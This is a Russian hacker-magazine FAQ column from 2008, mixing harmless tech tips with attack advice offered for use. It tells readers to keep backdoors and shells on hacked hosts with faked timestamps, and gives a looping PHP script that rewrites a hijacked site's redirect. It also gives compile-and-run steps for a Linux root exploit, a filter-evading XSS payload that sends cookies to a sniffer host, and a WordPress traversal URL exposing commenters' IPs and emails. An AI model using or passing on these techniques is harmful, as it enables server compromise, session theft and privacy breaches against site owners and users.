Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #114, ИЮНЬ 2008 г.

Faq United

Маг (icq 884888)

Хакер, номер #114, стр. 138


Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы, ответы на которые ты при определенном желании можешь найти и сам. Конкретизируй! Я не телепат, поэтому присылай как можно больше информации.

Q: Не знаешь каких-либо альтернатив Mail.ru Агенту?

A: Помимо бета-версии QIP Infium протокол от mail.ru также поддерживает небезызвестный в кругах IM'шников пейджер &ML. Вот некоторые его фичи:

  • компактный и удобный пользовательский интерфейс;
  • передача сообщений без задержки;
  • окно чата со вкладками (как в &RQ, miranda, QIP);
  • удобная форма поиска пользователей;
  • отличный антиспам контроль;
  • «тихий режим» (только свои конакты);
  • portable software (портативная программа – не привязывается к системе, можно хранить на флешке и т. д.);

Прога не тормозит при работе с медленными dialup- или gprs-соединениями (в отличие от стандартного клиента) и являет собой наш любимый open source :).

Скачать клиент можно на его официальном сайте: http://andml.org.ru

Q: Занимаясь SEO, столкнулся с проблемой кражи доров. Подскажи, как обезопасить себя от этой напасти?

A: Если ты делаешь дорвей на хосте, взломанном через паблик уязвимость на установленном там движке, то можно закрыть каталог с этим движком chmod'ом, сменить хеш пароля админа на что-нибудь вроде lalal&^%$.

Но обычно это все мало помогает, и дорвейщики сталкиваются с кражей доров post factum, поэтому запомни следующее правило: чтобы было проще вернуть свой дор, оставляй как можно больше бэкдоров и шеллов на взломанном хосте, не забывая прятать время модификации файлов через команду «touch -t ГодМесяцДеньЧасМинуты.Секунды шелл.php». После кражи дора первым делом найди и удали шеллы своих недоброжелателей (это можно сделать командой «find / -mtime -60|grep .php»), затем меняй переадресацию на свой шоп и обезопась себя следующим php-сценарием:

<?php

ignore_user_abort(true);

set_time_limit(0);

while(!is_file('stop.dat'))

{

@chmod('/var/www/html/catalog',0777);

$textht='<?php

header("Location: http://твой_шоп.com");

?>';

$fp = @fopen("/var/www/html/catalog/index.php","w");

@flock ($fp, LOCK_EX);

@fputs($fp,$textht);

@flock ($fp, LOCK_UN);

@fclose($fp);

sleep(5);

}

?>

Залей скрипт с этим кодом (предварительно изменив пути на те, где у тебя лежал дорвей) в какой-либо каталог на сервере, доступный из веба, и запусти его в браузере. После этого браузер можешь закрывать :). Скрипт с периодичностью раз в 5 секунд будет перезаписывать файл с переадресацией на твой собственный, так что горе-воры очень удивятся, когда запишут свой файл с переадресацией, и на его месте тут же появится другой. Немного информации по теме кражи доров ты сможешь найти тут: http://forum.glavmed.com/showthread.php?t=1342

Q: Какой local root exploit под не самые старые ядра linux можешь посоветовать, как самый эффективный?

A: По долгу службы я чаще всего сталкиваюсь с ядрами 2.6.2x ветки. Под них существует несколько паблик сплойтов, но моим любимым является Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit (http://milw0rm.com/exploits/5092). С ним я получаю рут в два шага:

  1. компилю gcc -static -Wno-format -O2 vmsplice.c -o vmsplice;
  2. запускаю (./vmsplice), жду 2 секунды и наслаждаюсь правами рута :).

Q: Нашел XSS на серьезном сервисе, но все нехорошие символы, кроме < и >, жестко фильтруются, как быть?

A: Тоже недавно столкнулся с этим вопросом и придумал элегантное решение с объединением массивов и функции fromCharCode() в javascript. Смотри. У нас имеется адрес сниффера, который отлавливает приходящие на него кукисы, например http://snif.com/sniffer.php?id=[тут передаются куки]. Засовываем этот адрес в нехитрый php-скрипт:

<?php

$site='http://snif.com/sniffer.php?id=';

for($i=0;$i<256;$i++)

{

$arr[chr($i)]=$i;

}

for($i=0;$i<strlen($site);$i++)

{

$i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)].

',' : print $arr[substr($site,$i,1)];

}

?>

Получаем на выходе строку символов «104,116,116,112,58,47,47,115,110,105,102,46,99,111,109,47,115,110,105,102,102,101,114,46,112,104,112,63,105,100,61» и составляем на основе полученных данных свой код XSS:

http://sitexss.com/xss.php?xss=><script>var myArray;myArray =

new Array();myArray[1] = document.cookie;myArray[0] =

String.fromCharCode(104,116,116,112,58,47,47,115,110,105,102,46,99,

111,109,47,115,110,105,102,102,101,114,46,112,104,112,63,105,100,61);

string = myArray.join(1);location.href = string</script><

В результате, такая конструкция обойдет большинство фильтров (на тот же самый знак «+», который используется в большинстве случаев), и долгожданные кукисы будут у тебя!

Q: Сколько всего существует сайтов с Google PR=10?

A: Сложный вопрос. С каждым обновлением PR сайтов значительно меняется, но каноническими (и авторитетнейшими) «десятками» могут считаться следующие страницы:

Список сайтов с PR=9 ты можешь найти здесь: http://www.brand-zen.com/showpost.php?p=2957&postcount=11.

Q: Замучался с регулярными выражениями! Подскажи, где бы их можно было проверять на валидность, что называется, не отходя от кассы?

A: Недавно открытый сервис Javascript Regex Evaluator (http://www.pcre.ru/eval) предоставляет такую возможность! Сервис, основанный на javascript, позволяет прямо в окне браузера отслеживать результат выполнения твоих регулярных выражений. Немного о проекте от его создателей:

«Проект PCRE.RU был задуман и разработан с целью помочь начинающим программистам изучить принципы и основы работы с регулярными выражениями.

Проект нацелен на освещение информации о регулярных выражениях стандарта PCRE (Perl-compatible regular expressions) в связи с тем, что последние получили наибольшее распространение и применение в различных языках программирования (Perl, Php, Javascript и т.п), а также в таких сложных программных комплексах, как веб-сервер Apache».

Q: Как узнать, сколько страниц сайта находятся не в supplement results (сопли, песок) у Гугла?

A: Очень просто. Для этого существуют специальный запрос «site:site.com/*» или «site:site.com/&». В результате его выполнения Google покажет тебе страницы сайта, находящиеся в основном индексе.

Q: Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

A: Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :). Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:

И многое другое :). Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.

P.S. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался уязвимостью только на винде, на никсах можешь поэкспериментировать сам.

Q: Работаю с буржуйской партнеркой, которая платит только посредством банковских переводов (ваерами или чеками). Где бы мне обменять эти самые ваеры и чеки на вебмани?

A: По собственном опыту могу посоветовать сервис http://ermoney.com. Помимо обмена всех онлайн валют друг на друга, здесь ты можешь обналичить чеки, ваеры или ACH direct deposit. Обычно обналичка чека с помощью этого сервиса происходит следующим образом:

  1. Чек перенаправляется в офис сервиса, который находится в США. Реквизиты при этом выдает служба поддержки после одобрения заявки;
  2. Обналиченные деньги можно получить двумя способами: через платёжную систему WebMoney Transfer (комиссия + 3%) или Фетхард (комиссия 2%). Срок обналичивания обычно составляет до 4 дней. Комиссия за обналичивание чека: 4% от его суммы, но не менее $10.

В будущем сервис планирует работать с банковскими ATM-картами (пользователям будут высылаться карты, на которые и будут переводиться обналиченные деньги).

Q: Нужен flash-баннер для моего сайта, но денег, чтобы заказать его у дизайнеров, нет :(. Посоветуй, что делать.

A: Специально для таких халявщиков, как ты, придуман сервис http://123-banner.com. Тут ты сможешь прямо в онлайне создать свой собственный неплохой флеш-баннер. Все просто: сначала выбираешь тип баннера (Graphic Banner, Sound Banner, Picture Banner, Peel Banner, 80x210 Banner), затем загружаешь фоновый рисунок и задаешь различные параметры текста, который будет размещен на баннере. После этих нехитрых манипуляций у тебя появится бесплатная профессиональная флешка с твоей рекламой.

Q: Как настроить gmail на свой домен, используя классный e-mail адрес вроде vasya@pupkin.ru и удобный интерфейс почтовика от Google?

A: Предположим, что доменное имя у тебя уже есть. Впрочем, даже если ты не успел обзавестись собственным доменом, проблем возникнуть не должно: в Сети сейчас доступно просто огромное количество регистраторов, каждый из которых пытается предложить наиболее выгодные условия ($10-20 в год, а то и вовсе бесплатно в случае покупки хостинга – это самое обычное предложение).

Первое, что нужно сделать, – зайти на сайт www.google.com/a/help/intl/en/business/applications.html и зарегистрироваться. Ты можешь воспользоваться либо бесплатным предложением, либо купить прокаченный (Premier) аккаунт, для которого доступны 25 Гб (против 6,5 Гб) и некоторые дополнительные возможности. Во время регистрации необходимо выбрать вариант с использованием уже существующего домена: I want to use an existing domainname. Однако, Google придется доказать, что домен принадлежит именно тебе, а для этого на хостинг потребуется залить специальный файл. Создай документ googlehostedservice.html, впиши в него код, который попросит Google, и загрузи его в корневую папку своего сайта через FTP-клиент или панель администратора сайта. Далее необходимо найти, где у твоего хостера/регистратора находятся настройки DNS – это необходимо, чтобы заменить существующие MX-записи на MX-записи Google’а. В соответствующей панели необходимо создать записи со следующими параметрами:

Тип всех записей – MX

Почтовый домен – оставляй пустым

Почтовый сервер и приоритет почтового сервера:

ASPMX.L.GOOGLE.COM. – приоритет 10

ALT1.ASPMX.L.GOOGLE.COM. – 20

ALT2.ASPMX.L.GOOGLE.COM. – 20

ASPMX2.GOOGLEMAIL.COM. – 30

ASPMX3.GOOGLEMAIL.COM. – 30

ASPMX4.GOOGLEMAIL.COM. – 30

ASPMX5.GOOGLEMAIL.COM. – 30

Теперь остается настроить интерфейс самого Google. Для этого переходим на http://google.com/a/, логинимся, переходим в панель управление и кликаем по ссылке «Manage this domain» (управлением доменом), где включаем работу с e-mail. Google проверит правильность указанных MX-записей и, если все ОК, – обновит базы. Теперь ты можешь создать пользователей и наслаждаться интерфейсом и возможностями Gmail’а для своего произвольного e-mail адреса!

Q: Хочу начать работать на западных биржах для фрилансеров. Интересует такой вопрос: как наиболее просто получить заработанные деньги?

A: Долгое время проблема заключалась в том, что у каждой из популярных бирж (GetAFreelancer, RentACoder, oDesk, eLance) были свои собственные порядки вывода денег. Одни предлагают выслать чек, который сложно и долго обналичивать, другие – выплаты через платежную систему PayPal, которая при всех свои достоинствах не позволяет принимать деньги резидентам из СНГ. Однако за последний год все перечисленные системы стали поддерживать новый метод выплат с использованием дебетовых карточек от компании Payoneer (www.payoneer.com). Заказать карту можно либо у самого сервиса, либо через посредника – в любом случае она придет тебе в течение нескольких недель. За пересылку с тебя возьмут $20, которые спишутся, как только на карте окажется достаточно средства. Для вывода средств тебе остается только указать параметры своего аккаунта в Payoneer, после чего быстро снимать перечисленные деньги через любой банкомат.

Помимо возможности выводить деньги с внутренних счетов фрилансерских бирж, ты получаешь массу бонусов. Во-первых, ты приобретаешь карту международной платежной системы Mastercard (обслуживание такой карты в обычном банке обойдется не дешевле $20 в год), которую можешь использовать в любых магазинах, в том числе и онлайн. Во-вторых, ты сможешь выводить на нее Webmoney, используя сервис CardMoney (cardmoney.ru).

Q: По просьбе заказчика переписываю код для работы с MS SQL вместо СУБД MySQL, которая использовалась ранее. И не могу понять: неужели в СУБД от Microsoft нет такой полезной вещи, как возможность указать LIMIT в SELECT запросе? Если так, то как это можно обойти?

A: MS SQL действительно не имеет аналога LIMIT. После длительного использования MySQL это дико раздражает. Но решение есть. Оцени разницу. В MySQL запрос выглядит следующим образом:

SELECT * FROM `some_table` LIMIT 10, 20

В случае с MS SQL придется «изобретать велосипед», что непременно приводит к потере производительности.

1. SELECT top 20 * FROM [some_table]

2. WHERE [primary_key_field] NOT IN

3. (

4. SELECT top 10 [primary_key_field]

5. FROM [some_table]

6. ORDER BY [primary_key_field]

7. )

8. ORDER BY [primary_key_field]

Содержание